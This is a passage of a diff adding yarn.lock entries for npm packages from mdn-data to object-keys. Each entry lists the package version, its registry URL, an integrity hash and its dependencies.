"https://registry.yarnpkg.com/mdn-data/-/mdn-data-2.0.4.tgz#699b3c38ac6f1d728091a64650b65d388502fd5b" + integrity sha512-iV3XNKw06j5Q7mi6h+9vbx23Tv7JkjEVgKHW4pimwyDGWm0OIQntJJ+u1C6mg6mK1EaTv42XQ7w76yuzH7M2cA== + +media-typer@0.3.0: + version "0.3.0" + resolved "https://registry.yarnpkg.com/media-typer/-/media-typer-0.3.0.tgz#8710d7af0aa626f8fffa1ce00168545263255748" + integrity sha1-hxDXrwqmJvj/+hzgAWhUUmMlV0g= + +memory-fs@^0.4.1: + version "0.4.1" + resolved "https://registry.yarnpkg.com/memory-fs/-/memory-fs-0.4.1.tgz#3a9a20b8462523e447cfbc7e8bb80ed667bfc552" + integrity sha1-OpoguEYlI+RHz7x+i7gO1me/xVI= + dependencies: + errno "^0.1.3" + readable-stream "^2.0.1" + +memory-fs@^0.5.0: + version "0.5.0" + resolved "https://registry.yarnpkg.com/memory-fs/-/memory-fs-0.5.0.tgz#324c01288b88652966d161db77838720845a8e3c" + integrity sha512-jA0rdU5KoQMC0e6ppoNRtpp6vjFq6+NY7r8hywnC7V+1Xj/MtHwGIbB1QaK/dunyjWteJzmkpd7ooeWg10T7GA== + dependencies: + errno "^0.1.3" + readable-stream "^2.0.1" + +merge-descriptors@1.0.1: + version "1.0.1" + resolved "https://registry.yarnpkg.com/merge-descriptors/-/merge-descriptors-1.0.1.tgz#b00aaa556dd8b44568150ec9d1b953f3f90cbb61" + integrity sha1-sAqqVW3YtEVoFQ7J0blT8/kMu2E= + +merge-stream@^2.0.0: + version "2.0.0" + resolved "https://registry.yarnpkg.com/merge-stream/-/merge-stream-2.0.0.tgz#52823629a14dd00c9770fb6ad47dc6310f2c1f60" + integrity sha512-abv/qOcuPfk3URPfDzmZU1LKmuw8kT+0nIHvKrKgFrwifol/doWcdA4ZqsWQ8ENrFKkd67Mfpo/LovbIUsbt3w== + +merge2@^1.3.0: + version "1.4.1" + resolved "https://registry.yarnpkg.com/merge2/-/merge2-1.4.1.tgz#4368892f885e907455a6fd7dc55c0c9d404990ae" + integrity sha512-8q7VEgMJW4J8tcfVPy8g09NcQwZdbwFEqhe/WZkoIzjn/3TGDwtOCYtXGxA3O8tPzpczCCDgv+P2P5y00ZJOOg== + +methods@~1.1.2: + version "1.1.2" + resolved "https://registry.yarnpkg.com/methods/-/methods-1.1.2.tgz#5529a4d67654134edcc5266656835b0f851afcee" + integrity sha1-VSmk1nZUE07cxSZmVoNbD4Ua/O4= + +microevent.ts@~0.1.1: + version "0.1.1" + resolved "https://registry.yarnpkg.com/microevent.ts/-/microevent.ts-0.1.1.tgz#70b09b83f43df5172d0205a63025bce0f7357fa0" + integrity sha512-jo1OfR4TaEwd5HOrt5+tAZ9mqT4jmpNAusXtyfNzqVm9uiSYFZlKM1wYL4oU7azZW/PxQW53wM0S6OR1JHNa2g== + +micromatch@^3.1.10, micromatch@^3.1.4: + version "3.1.10" + resolved "https://registry.yarnpkg.com/micromatch/-/micromatch-3.1.10.tgz#70859bc95c9840952f359a068a3fc49f9ecfac23" + integrity sha512-MWikgl9n9M3w+bpsY3He8L+w9eF9338xRl8IAO5viDizwSzziFEyUzo2xrrloB64ADbTf8uA8vRqqttDTOmccg== + dependencies: + arr-diff "^4.0.0" + array-unique "^0.3.2" + braces "^2.3.1" + define-property "^2.0.2" + extend-shallow "^3.0.2" + extglob "^2.0.4" + fragment-cache "^0.2.1" + kind-of "^6.0.2" + nanomatch "^1.2.9" + object.pick "^1.3.0" + regex-not "^1.0.0" + snapdragon "^0.8.1" + to-regex "^3.0.2" + +micromatch@^4.0.2: + version "4.0.2" + resolved "https://registry.yarnpkg.com/micromatch/-/micromatch-4.0.2.tgz#4fcb0999bf9fbc2fcbdd212f6d629b9a56c39259" + integrity sha512-y7FpHSbMUMoyPbYUSzO6PaZ6FyRnQOpHuKwbo1G+Knck95XVU4QAiKdGEnj5wwoS7PlOgthX/09u5iFJ+aYf5Q== + dependencies: + braces "^3.0.1" + picomatch "^2.0.5" + +miller-rabin@^4.0.0: + version "4.0.1" + resolved "https://registry.yarnpkg.com/miller-rabin/-/miller-rabin-4.0.1.tgz#f080351c865b0dc562a8462966daa53543c78a4d" + integrity sha512-115fLhvZVqWwHPbClyntxEVfVDfl9DLLTuJvq3g2O/Oxi8AiNouAHvDSzHS0viUJc+V5vm3eq91Xwqn9dp4jRA== + dependencies: + bn.js "^4.0.0" + brorand "^1.0.1" + +mime-db@1.46.0, "mime-db@>= 1.43.0 < 2": + version "1.46.0" + resolved "https://registry.yarnpkg.com/mime-db/-/mime-db-1.46.0.tgz#6267748a7f799594de3cbc8cde91def349661cee" + integrity sha512-svXaP8UQRZ5K7or+ZmfNhg2xX3yKDMUzqadsSqi4NCH/KomcH75MAMYAGVlvXn4+b/xOPhS3I2uHKRUzvjY7BQ== + +mime-types@^2.1.12, mime-types@^2.1.27, mime-types@~2.1.17, mime-types@~2.1.19, mime-types@~2.1.24: + version "2.1.29" + resolved "https://registry.yarnpkg.com/mime-types/-/mime-types-2.1.29.tgz#1d4ab77da64b91f5f72489df29236563754bb1b2" + integrity sha512-Y/jMt/S5sR9OaqteJtslsFZKWOIIqMACsJSiHghlCAyhf7jfVYjKBmLiX8OgpWeW+fjJ2b+Az69aPFPkUOY6xQ== + dependencies: + mime-db "1.46.0" + +mime@1.6.0: + version "1.6.0" + resolved "https://registry.yarnpkg.com/mime/-/mime-1.6.0.tgz#32cd9e5c64553bd58d19a568af452acff04981b1" + integrity sha512-x0Vn8spI+wuJ1O6S7gnbaQg8Pxh4NNHb7KSINmEWKiPE4RKOplvijn+NkmYmmRgP68mc70j2EbeTFRsrswaQeg== + +mime@^2.4.4: + version "2.5.2" + resolved "https://registry.yarnpkg.com/mime/-/mime-2.5.2.tgz#6e3dc6cc2b9510643830e5f19d5cb753da5eeabe" + integrity sha512-tqkh47FzKeCPD2PUiPB6pkbMzsCasjxAfC62/Wap5qrUWcb+sFasXUC5I3gYM5iBM8v/Qpn4UK0x+j0iHyFPDg== + +mimic-fn@^2.1.0: + version "2.1.0" + resolved "https://registry.yarnpkg.com/mimic-fn/-/mimic-fn-2.1.0.tgz#7ed2c2ccccaf84d3ffcb7a69b57711fc2083401b" + integrity sha512-OqbOk5oEQeAZ8WXWydlu9HJjz9WVdEIvamMCcXmuqUYjTknH/sqsWvhQ3vgwKFRR1HpjvNBKQ37nbJgYzGqGcg== + +min-indent@^1.0.0: + version "1.0.1" + resolved "https://registry.yarnpkg.com/min-indent/-/min-indent-1.0.1.tgz#a63f681673b30571fbe8bc25686ae746eefa9869" + integrity sha512-I9jwMn07Sy/IwOj3zVkVik2JTvgpaykDZEigL6Rx6N9LbMywwUSMtxET+7lVoDLLd3O3IXwJwvuuns8UB/HeAg== + +mini-css-extract-plugin@0.11.3: + version "0.11.3" + resolved "https://registry.yarnpkg.com/mini-css-extract-plugin/-/mini-css-extract-plugin-0.11.3.tgz#15b0910a7f32e62ffde4a7430cfefbd700724ea6" + integrity sha512-n9BA8LonkOkW1/zn+IbLPQmovsL0wMb9yx75fMJQZf2X1Zoec9yTZtyMePcyu19wPkmFbzZZA6fLTotpFhQsOA== + dependencies: + loader-utils "^1.1.0" + normalize-url "1.9.1" + schema-utils "^1.0.0" + webpack-sources "^1.1.0" + +minimalistic-assert@^1.0.0, minimalistic-assert@^1.0.1: + version "1.0.1" + resolved "https://registry.yarnpkg.com/minimalistic-assert/-/minimalistic-assert-1.0.1.tgz#2e194de044626d4a10e7f7fbc00ce73e83e4d5c7" + integrity sha512-UtJcAD4yEaGtjPezWuO9wC4nwUnVH/8/Im3yEHQP4b67cXlD/Qr9hdITCU1xDbSEXg2XKNaP8jsReV7vQd00/A== + +minimalistic-crypto-utils@^1.0.1: + version "1.0.1" + resolved "https://registry.yarnpkg.com/minimalistic-crypto-utils/-/minimalistic-crypto-utils-1.0.1.tgz#f6c00c1c0b082246e5c4d99dfb8c7c083b2b582a" + integrity sha1-9sAMHAsIIkblxNmd+4x8CDsrWCo= + +minimatch@3.0.4, minimatch@^3.0.4: + version "3.0.4" + resolved "https://registry.yarnpkg.com/minimatch/-/minimatch-3.0.4.tgz#5166e286457f03306064be5497e8dbb0c3d32083" + integrity sha512-yJHVQEhyqPLUTgt9B83PXu6W3rx4MvvHvSUvToogpwoGDOUQ+yDrR0HRot+yOCdCO7u4hX3pWft6kWBBcqh0UA== + dependencies: + brace-expansion "^1.1.7" + +minimist@^1.1.1, minimist@^1.2.0, minimist@^1.2.5: + version "1.2.5" + resolved "https://registry.yarnpkg.com/minimist/-/minimist-1.2.5.tgz#67d66014b66a6a8aaa0c083c5fd58df4e4e97602" + integrity sha512-FM9nNUYrRBAELZQT3xeZQ7fmMOBg6nWNmJKTcgsJeaLstP/UODVpGsr5OhXhhXg6f+qtJ8uiZ+PUxkDWcgIXLw== + +minipass-collect@^1.0.2: + version "1.0.2" + resolved "https://registry.yarnpkg.com/minipass-collect/-/minipass-collect-1.0.2.tgz#22b813bf745dc6edba2576b940022ad6edc8c617" + integrity sha512-6T6lH0H8OG9kITm/Jm6tdooIbogG9e0tLgpY6mphXSm/A9u8Nq1ryBG+Qspiub9LjWlBPsPS3tWQ/Botq4FdxA== + dependencies: + minipass "^3.0.0" + +minipass-flush@^1.0.5: + version "1.0.5" + resolved "https://registry.yarnpkg.com/minipass-flush/-/minipass-flush-1.0.5.tgz#82e7135d7e89a50ffe64610a787953c4c4cbb373" + integrity sha512-JmQSYYpPUqX5Jyn1mXaRwOda1uQ8HP5KAT/oDSLCzt1BYRhQU0/hDtsB1ufZfEEzMZ9aAVmsBw8+FWsIXlClWw== + dependencies: + minipass "^3.0.0" + +minipass-pipeline@^1.2.2: + version "1.2.4" + resolved "https://registry.yarnpkg.com/minipass-pipeline/-/minipass-pipeline-1.2.4.tgz#68472f79711c084657c067c5c6ad93cddea8214c" + integrity sha512-xuIq7cIOt09RPRJ19gdi4b+RiNvDFYe5JH+ggNvBqGqpQXcru3PcRmOZuHBKWK1Txf9+cQ+HMVN4d6z46LZP7A== + dependencies: + minipass "^3.0.0" + +minipass@^3.0.0, minipass@^3.1.1: + version "3.1.3" + resolved "https://registry.yarnpkg.com/minipass/-/minipass-3.1.3.tgz#7d42ff1f39635482e15f9cdb53184deebd5815fd" + integrity sha512-Mgd2GdMVzY+x3IJ+oHnVM+KG3lA5c8tnabyJKmHSaG2kAGpudxuOf8ToDkhumF7UzME7DecbQE9uOZhNm7PuJg== + dependencies: + yallist "^4.0.0" + +minizlib@^2.1.1: + version "2.1.2" + resolved "https://registry.yarnpkg.com/minizlib/-/minizlib-2.1.2.tgz#e90d3466ba209b932451508a11ce3d3632145931" + integrity sha512-bAxsR8BVfj60DWXHE3u30oHzfl4G7khkSuPW+qvpd7jFRHm7dLxOjUk1EHACJ/hxLY8phGJ0YhYHZo7jil7Qdg== + dependencies: + minipass "^3.0.0" + yallist "^4.0.0" + +mississippi@^3.0.0: + version "3.0.0" + resolved "https://registry.yarnpkg.com/mississippi/-/mississippi-3.0.0.tgz#ea0a3291f97e0b5e8776b363d5f0a12d94c67022" + integrity sha512-x471SsVjUtBRtcvd4BzKE9kFC+/2TeWgKCgw0bZcw1b9l2X3QX5vCWgF+KaZaYm87Ss//rHnWryupDrgLvmSkA== + dependencies: + concat-stream "^1.5.0" + duplexify "^3.4.2" + end-of-stream "^1.1.0" + flush-write-stream "^1.0.0" + from2 "^2.1.0" + parallel-transform "^1.1.0" + pump "^3.0.0" + pumpify "^1.3.3" + stream-each "^1.1.0" + through2 "^2.0.0" + +mixin-deep@^1.2.0: + version "1.3.2" + resolved "https://registry.yarnpkg.com/mixin-deep/-/mixin-deep-1.3.2.tgz#1120b43dc359a785dce65b55b82e257ccf479566" + integrity sha512-WRoDn//mXBiJ1H40rqa3vH0toePwSsGb45iInWlTySa+Uu4k3tYUSxa2v1KqAiLtvlrSzaExqS1gtk96A9zvEA== + dependencies: + for-in "^1.0.2" + is-extendable "^1.0.1" + +mkdirp@^0.5.1, mkdirp@^0.5.3, mkdirp@^0.5.5, mkdirp@~0.5.1: + version "0.5.5" + resolved "https://registry.yarnpkg.com/mkdirp/-/mkdirp-0.5.5.tgz#d91cefd62d1436ca0f41620e251288d420099def" + integrity sha512-NKmAlESf6jMGym1++R0Ra7wvhV+wFW63FaSOFPwRahvea0gMUcGUhVeAg/0BC0wiv9ih5NYPB1Wn1UEI1/L+xQ== + dependencies: + minimist "^1.2.5" + +mkdirp@^1.0.3, mkdirp@^1.0.4: + version "1.0.4" + resolved "https://registry.yarnpkg.com/mkdirp/-/mkdirp-1.0.4.tgz#3eb5ed62622756d79a5f0e2a221dfebad75c2f7e" + integrity sha512-vVqVZQyf3WLx2Shd0qJ9xuvqgAyKPLAiqITEtqW0oIUjzo3PePDd6fW9iFz30ef7Ysp/oiWqbhszeGWW2T6Gzw== + +modern-normalize@^1.0.0: + version "1.1.0" + resolved "https://registry.yarnpkg.com/modern-normalize/-/modern-normalize-1.1.0.tgz#da8e80140d9221426bd4f725c6e11283d34f90b7" + integrity sha512-2lMlY1Yc1+CUy0gw4H95uNN7vjbpoED7NNRSBHE25nWfLBdmMzFCsPshlzbxHz+gYMcBEUN8V4pU16prcdPSgA== + +move-concurrently@^1.0.1: + version "1.0.1" + resolved "https://registry.yarnpkg.com/move-concurrently/-/move-concurrently-1.0.1.tgz#be2c005fda32e0b29af1f05d7c4b33214c701f92" + integrity sha1-viwAX9oy4LKa8fBdfEszIUxwH5I= + dependencies: + aproba "^1.1.1" + copy-concurrently "^1.0.0" + fs-write-stream-atomic "^1.0.8" + mkdirp "^0.5.1" + rimraf "^2.5.4" + run-queue "^1.0.3" + +ms@2.0.0: + version "2.0.0" + resolved "https://registry.yarnpkg.com/ms/-/ms-2.0.0.tgz#5608aeadfc00be6c2901df5f9861788de0d597c8" + integrity sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g= + +ms@2.1.1: + version "2.1.1" + resolved "https://registry.yarnpkg.com/ms/-/ms-2.1.1.tgz#30a5864eb3ebb0a66f2ebe6d727af06a09d86e0a" + integrity sha512-tgp+dl5cGk28utYktBsrFqA7HKgrhgPsg6Z/EfhWI4gl1Hwq8B/GmY/0oXZ6nF8hDVesS/FpnYaD/kOWhYQvyg== + +ms@2.1.2: + version "2.1.2" + resolved "https://registry.yarnpkg.com/ms/-/ms-2.1.2.tgz#d09d1f357b443f493382a8eb3ccd183872ae6009" + integrity sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w== + +ms@^2.1.1: + version "2.1.3" + resolved "https://registry.yarnpkg.com/ms/-/ms-2.1.3.tgz#574c8138ce1d2b5861f0b44579dbadd60c6615b2" + integrity sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA== + +multicast-dns-service-types@^1.1.0: + version "1.1.0" + resolved "https://registry.yarnpkg.com/multicast-dns-service-types/-/multicast-dns-service-types-1.1.0.tgz#899f11d9686e5e05cb91b35d5f0e63b773cfc901" + integrity sha1-iZ8R2WhuXgXLkbNdXw5jt3PPyQE= + +multicast-dns@^6.0.1: + version "6.2.3" + resolved "https://registry.yarnpkg.com/multicast-dns/-/multicast-dns-6.2.3.tgz#a0ec7bd9055c4282f790c3c82f4e28db3b31b229" + integrity sha512-ji6J5enbMyGRHIAkAOu3WdV8nggqviKCEKtXcOqfphZZtQrmHKycfynJ2V7eVPUA4NhJ6V7Wf4TmGbTwKE9B6g== + dependencies: + dns-packet "^1.3.1" + thunky "^1.0.2" + +nan@^2.12.1: + version "2.14.2" + resolved "https://registry.yarnpkg.com/nan/-/nan-2.14.2.tgz#f5376400695168f4cc694ac9393d0c9585eeea19" + integrity sha512-M2ufzIiINKCuDfBSAUr1vWQ+vuVcA9kqx8JJUsbQi6yf1uGRyb7HfpdfUr5qLXf3B/t8dPvcjhKMmlfnP47EzQ== + +nanoid@^3.1.20: + version "3.1.20" + resolved "https://registry.yarnpkg.com/nanoid/-/nanoid-3.1.20.tgz#badc263c6b1dcf14b71efaa85f6ab4c1d6cfc788" + integrity sha512-a1cQNyczgKbLX9jwbS/+d7W8fX/RfgYR7lVWwWOGIPNgK2m0MWvrGF6/m4kk6U3QcFMnZf3RIhL0v2Jgh/0Uxw== + +nanoid@^3.1.23: + version "3.1.23" + resolved "https://registry.yarnpkg.com/nanoid/-/nanoid-3.1.23.tgz#f744086ce7c2bc47ee0a8472574d5c78e4183a81" + integrity sha512-FiB0kzdP0FFVGDKlRLEQ1BgDzU87dy5NnzjeW9YZNt+/c3+q82EQDUwniSAUxp/F0gFNI1ZhKU1FqYsMuqZVnw== + +nanomatch@^1.2.9: + version "1.2.13" + resolved "https://registry.yarnpkg.com/nanomatch/-/nanomatch-1.2.13.tgz#b87a8aa4fc0de8fe6be88895b38983ff265bd119" + integrity sha512-fpoe2T0RbHwBTBUOftAfBPaDEi06ufaUai0mE6Yn1kacc3SnTErfb/h+X94VXzI64rKFHYImXSvdwGGCmwOqCA== + dependencies: + arr-diff "^4.0.0" + array-unique "^0.3.2" + define-property "^2.0.2" + extend-shallow "^3.0.2" + fragment-cache "^0.2.1" + is-windows "^1.0.2" + kind-of "^6.0.2" + object.pick "^1.3.0" + regex-not "^1.0.0" + snapdragon "^0.8.1" + to-regex "^3.0.1" + +native-url@^0.2.6: + version "0.2.6" + resolved "https://registry.yarnpkg.com/native-url/-/native-url-0.2.6.tgz#ca1258f5ace169c716ff44eccbddb674e10399ae" + integrity sha512-k4bDC87WtgrdD362gZz6zoiXQrl40kYlBmpfmSjwRO1VU0V5ccwJTlxuE72F6m3V0vc1xOf6n3UCP9QyerRqmA== + dependencies: + querystring "^0.2.0" + +natural-compare@^1.4.0: + version "1.4.0" + resolved "https://registry.yarnpkg.com/natural-compare/-/natural-compare-1.4.0.tgz#4abebfeed7541f2c27acfb29bdbbd15c8d5ba4f7" + integrity sha1-Sr6/7tdUHywnrPspvbvRXI1bpPc= + +negotiator@0.6.2: + version "0.6.2" + resolved "https://registry.yarnpkg.com/negotiator/-/negotiator-0.6.2.tgz#feacf7ccf525a77ae9634436a64883ffeca346fb" + integrity sha512-hZXc7K2e+PgeI1eDBe/10Ard4ekbfrrqG8Ep+8Jmf4JID2bNg7NvCPOZN+kfF574pFQI7mum2AUqDidoKqcTOw== + +neo-async@^2.5.0, neo-async@^2.6.1, neo-async@^2.6.2: + version "2.6.2" + resolved "https://registry.yarnpkg.com/neo-async/-/neo-async-2.6.2.tgz#b4aafb93e3aeb2d8174ca53cf163ab7d7308305f" + integrity sha512-Yd3UES5mWCSqR+qNT93S3UoYUkqAZ9lLg8a7g9rimsWmYGK8cVToA4/sF3RrshdyV3sAGMXVUmpMYOw+dLpOuw== + +next-tick@~1.0.0: + version "1.0.0" + resolved "https://registry.yarnpkg.com/next-tick/-/next-tick-1.0.0.tgz#ca86d1fe8828169b0120208e3dc8424b9db8342c" + integrity sha1-yobR/ogoFpsBICCOPchCS524NCw= + +nice-try@^1.0.4: + version "1.0.5" + resolved "https://registry.yarnpkg.com/nice-try/-/nice-try-1.0.5.tgz#a3378a7696ce7d223e88fc9b764bd7ef1089e366" + integrity sha512-1nh45deeb5olNY7eX82BkPO7SSxR5SSYJiPTrTdFUVYwAl8CKMA5N9PjTYkHiRjisVcxcQ1HXdLhx2qxxJzLNQ== + +no-case@^3.0.4: + version "3.0.4" + resolved "https://registry.yarnpkg.com/no-case/-/no-case-3.0.4.tgz#d361fd5c9800f558551a8369fc0dcd4662b6124d" + integrity sha512-fgAN3jGAh+RoxUGZHTSOLJIqUc2wmoBwGR4tbpNAKmmovFoWq0OdRkb0VkldReO2a2iBT/OEulG9XSUc10r3zg== + dependencies: + lower-case "^2.0.2" + tslib "^2.0.3" + +node-emoji@^1.8.1: + version "1.10.0" + resolved "https://registry.yarnpkg.com/node-emoji/-/node-emoji-1.10.0.tgz#8886abd25d9c7bb61802a658523d1f8d2a89b2da" + integrity sha512-Yt3384If5H6BYGVHiHwTL+99OzJKHhgp82S8/dktEK73T26BazdgZ4JZh92xSVtGNJvz9UbXdNAc5hcrXV42vw== + dependencies: + lodash.toarray "^4.4.0" + +node-forge@^0.10.0: + version "0.10.0" + resolved "https://registry.yarnpkg.com/node-forge/-/node-forge-0.10.0.tgz#32dea2afb3e9926f02ee5ce8794902691a676bf3" + integrity sha512-PPmu8eEeG9saEUvI97fm4OYxXVB6bFvyNTyiUOBichBpFG8A1Ljw3bY62+5oOjDEMHRnd0Y7HQ+x7uzxOzC6JA== + +node-int64@^0.4.0: + version "0.4.0" + resolved "https://registry.yarnpkg.com/node-int64/-/node-int64-0.4.0.tgz#87a9065cdb355d3182d8f94ce11188b825c68a3b" + integrity sha1-h6kGXNs1XTGC2PlM4RGIuCXGijs= + +node-libs-browser@^2.2.1: + version "2.2.1" + resolved "https://registry.yarnpkg.com/node-libs-browser/-/node-libs-browser-2.2.1.tgz#b64f513d18338625f90346d27b0d235e631f6425" + integrity sha512-h/zcD8H9kaDZ9ALUWwlBUDo6TKF8a7qBSCSEGfjTVIYeqsioSKaAX+BN7NgiMGp6iSIXZ3PxgCu8KS3b71YK5Q== + dependencies: + assert "^1.1.1" + browserify-zlib "^0.2.0" + buffer "^4.3.0" + console-browserify "^1.1.0" + constants-browserify "^1.0.0" + crypto-browserify "^3.11.0" + domain-browser "^1.1.1" + events "^3.0.0" + https-browserify "^1.0.0" + os-browserify "^0.3.0" + path-browserify "0.0.1" + process "^0.11.10" + punycode "^1.2.4" + querystring-es3 "^0.2.0" + readable-stream "^2.3.3" + stream-browserify "^2.0.1" + stream-http "^2.7.2" + string_decoder "^1.0.0" + timers-browserify "^2.0.4" + tty-browserify "0.0.0" + url "^0.11.0" + util "^0.11.0" + vm-browserify "^1.0.1" + +node-modules-regexp@^1.0.0: + version "1.0.0" + resolved "https://registry.yarnpkg.com/node-modules-regexp/-/node-modules-regexp-1.0.0.tgz#8d9dbe28964a4ac5712e9131642107c71e90ec40" + integrity sha1-jZ2+KJZKSsVxLpExZCEHxx6Q7EA= + +node-notifier@^8.0.0: + version "8.0.1" + resolved "https://registry.yarnpkg.com/node-notifier/-/node-notifier-8.0.1.tgz#f86e89bbc925f2b068784b31f382afdc6ca56be1" + integrity sha512-BvEXF+UmsnAfYfoapKM9nGxnP+Wn7P91YfXmrKnfcYCx6VBeoN5Ez5Ogck6I8Bi5k4RlpqRYaw75pAwzX9OphA== + dependencies: + growly "^1.3.0" + is-wsl "^2.2.0" + semver "^7.3.2" + shellwords "^0.1.1" + uuid "^8.3.0" + which "^2.0.2" + +node-releases@^1.1.61, node-releases@^1.1.70: + version "1.1.70" + resolved "https://registry.yarnpkg.com/node-releases/-/node-releases-1.1.70.tgz#66e0ed0273aa65666d7fe78febe7634875426a08" + integrity sha512-Slf2s69+2/uAD79pVVQo8uSiC34+g8GWY8UH2Qtqv34ZfhYrxpYpfzs9Js9d6O0mbDmALuxaTlplnBTnSELcrw== + +normalize-package-data@^2.3.2, normalize-package-data@^2.5.0: + version "2.5.0" + resolved "https://registry.yarnpkg.com/normalize-package-data/-/normalize-package-data-2.5.0.tgz#e66db1838b200c1dfc233225d12cb36520e234a8" + integrity sha512-/5CMN3T0R4XTj4DcGaexo+roZSdSFW/0AOOTROrjxzCG1wrWXEsGbRKevjlIL+ZDE4sZlJr5ED4YW0yqmkK+eA== + dependencies: + hosted-git-info "^2.1.4" + resolve "^1.10.0" + semver "2 || 3 || 4 || 5" + validate-npm-package-license "^3.0.1" + +normalize-path@^2.1.1: + version "2.1.1" + resolved "https://registry.yarnpkg.com/normalize-path/-/normalize-path-2.1.1.tgz#1ab28b556e198363a8c1a6f7e6fa20137fe6aed9" + integrity sha1-GrKLVW4Zg2Oowab35vogE3/mrtk= + dependencies: + remove-trailing-separator "^1.0.1" + +normalize-path@^3.0.0, normalize-path@~3.0.0: + version "3.0.0" + resolved "https://registry.yarnpkg.com/normalize-path/-/normalize-path-3.0.0.tgz#0dcd69ff23a1c9b11fd0978316644a0388216a65" + integrity sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA== + +normalize-range@^0.1.2: + version "0.1.2" + resolved "https://registry.yarnpkg.com/normalize-range/-/normalize-range-0.1.2.tgz#2d10c06bdfd312ea9777695a4d28439456b75942" + integrity sha1-LRDAa9/TEuqXd2laTShDlFa3WUI= + +normalize-url@1.9.1: + version "1.9.1" + resolved "https://registry.yarnpkg.com/normalize-url/-/normalize-url-1.9.1.tgz#2cc0d66b31ea23036458436e3620d85954c66c3c" + integrity sha1-LMDWazHqIwNkWENuNiDYWVTGbDw= + dependencies: + object-assign "^4.0.1" + prepend-http "^1.0.0" + query-string "^4.1.0" + sort-keys "^1.0.0" + +normalize-url@^3.0.0: + version "3.3.0" + resolved "https://registry.yarnpkg.com/normalize-url/-/normalize-url-3.3.0.tgz#b2e1c4dc4f7c6d57743df733a4f5978d18650559" + integrity sha512-U+JJi7duF1o+u2pynbp2zXDW2/PADgC30f0GsHZtRh+HOcXHnw137TrNlyxxRvWW5fjKd3bcLHPxofWuCjaeZg== + +npm-run-path@^2.0.0: + version "2.0.2" + resolved "https://registry.yarnpkg.com/npm-run-path/-/npm-run-path-2.0.2.tgz#35a9232dfa35d7067b4cb2ddf2357b1871536c5f" + integrity sha1-NakjLfo11wZ7TLLd8jV7GHFTbF8= + dependencies: + path-key "^2.0.0" + +npm-run-path@^4.0.0: + version "4.0.1" + resolved "https://registry.yarnpkg.com/npm-run-path/-/npm-run-path-4.0.1.tgz#b7ecd1e5ed53da8e37a55e1c2269e0b97ed748ea" + integrity sha512-S48WzZW777zhNIrn7gxOlISNAqi9ZC/uQFnRdbeIHhZhCA6UqpkOT8T1G7BvfdgP4Er8gF4sUbaS0i7QvIfCWw== + dependencies: + path-key "^3.0.0" + +nth-check@^1.0.2: + version "1.0.2" + resolved "https://registry.yarnpkg.com/nth-check/-/nth-check-1.0.2.tgz#b2bd295c37e3dd58a3bf0700376663ba4d9cf05c" + integrity sha512-WeBOdju8SnzPN5vTUJYxYUxLeXpCaVP5i5e0LF8fg7WORF2Wd7wFX/pk0tYZk7s8T+J7VLy0Da6J1+wCT0AtHg== + dependencies: + boolbase "~1.0.0" + +num2fraction@^1.2.2: + version "1.2.2" + resolved "https://registry.yarnpkg.com/num2fraction/-/num2fraction-1.2.2.tgz#6f682b6a027a4e9ddfa4564cd2589d1d4e669ede" + integrity sha1-b2gragJ6Tp3fpFZM0lidHU5mnt4= + +nwsapi@^2.2.0: + version "2.2.0" + resolved "https://registry.yarnpkg.com/nwsapi/-/nwsapi-2.2.0.tgz#204879a9e3d068ff2a55139c2c772780681a38b7" + integrity sha512-h2AatdwYH+JHiZpv7pt/gSX1XoRGb7L/qSIeuqA6GwYoF9w1vP1cw42TO0aI2pNyshRK5893hNSl+1//vHK7hQ== + +oauth-sign@~0.9.0: + version "0.9.0" + resolved "https://registry.yarnpkg.com/oauth-sign/-/oauth-sign-0.9.0.tgz#47a7b016baa68b5fa0ecf3dee08a85c679ac6455" + integrity sha512-fexhUFFPTGV8ybAtSIGbV6gOkSv8UtRbDBnAyLQw4QPKkgNlsH2ByPGtMUqdWkos6YCRmAqViwgZrJc/mRDzZQ== + +object-assign@^4.0.1, object-assign@^4.1.0, object-assign@^4.1.1: + version "4.1.1" + resolved "https://registry.yarnpkg.com/object-assign/-/object-assign-4.1.1.tgz#2109adc7965887cfc05cbbd442cac8bfbb360863" + integrity sha1-IQmtx5ZYh8/AXLvUQsrIv7s2CGM= + +object-copy@^0.1.0: + version "0.1.0" + resolved "https://registry.yarnpkg.com/object-copy/-/object-copy-0.1.0.tgz#7e7d858b781bd7c991a41ba975ed3812754e998c" + integrity sha1-fn2Fi3gb18mRpBupde04EnVOmYw= + dependencies: + copy-descriptor "^0.1.0" + define-property "^0.2.5" + kind-of "^3.0.3" + +object-hash@^2.1.1: + version "2.2.0" + resolved "https://registry.yarnpkg.com/object-hash/-/object-hash-2.2.0.tgz#5ad518581eefc443bd763472b8ff2e9c2c0d54a5" + integrity sha512-gScRMn0bS5fH+IuwyIFgnh9zBdo4DV+6GhygmWM9HyNJSgS0hScp1f5vjtm7oIIOiT9trXrShAkLFSc2IqKNgw== + +object-inspect@^1.8.0, object-inspect@^1.9.0: + version "1.9.0" + resolved "https://registry.yarnpkg.com/object-inspect/-/object-inspect-1.9.0.tgz#c90521d74e1127b67266ded3394ad6116986533a" + integrity sha512-i3Bp9iTqwhaLZBxGkRfo5ZbE07BQRT7MGu8+nNgwW9ItGp1TzCTw2DLEoWwjClxBjOFI/hWljTAmYGCEwmtnOw== + +object-is@^1.0.1: + version "1.1.5" + resolved "https://registry.yarnpkg.com/object-is/-/object-is-1.1.5.tgz#b9deeaa5fc7f1846a0faecdceec138e5778f53ac" + integrity sha512-3cyDsyHgtmi7I7DfSSI2LDp6SK2lwvtbg0p0R1e0RvTqF5ceGx+K2dfSjm1bKDMVCFEDAQvy+o8c6a7VujOddw== + dependencies: + call-bind "^1.0.2" + define-properties "^1.1.3" + +object-keys@^1.0.12, object-keys@^1.1.1: + version "1.1.1" + resolved "https://registry.yarnpkg.com/object-keys/-/object-keys-1.1.1.tgz#1c47f272df277f3b1daf061677d9c82e2322c60e" + integrity sha512-NuAESUOUMrlIXOfHKzD6bpPu3tYt3xvjNdRIQ+FeT0lNb4K8WR70CaDxhuNguS2XG+GjkyMwOzsN5ZktImfhLA== + 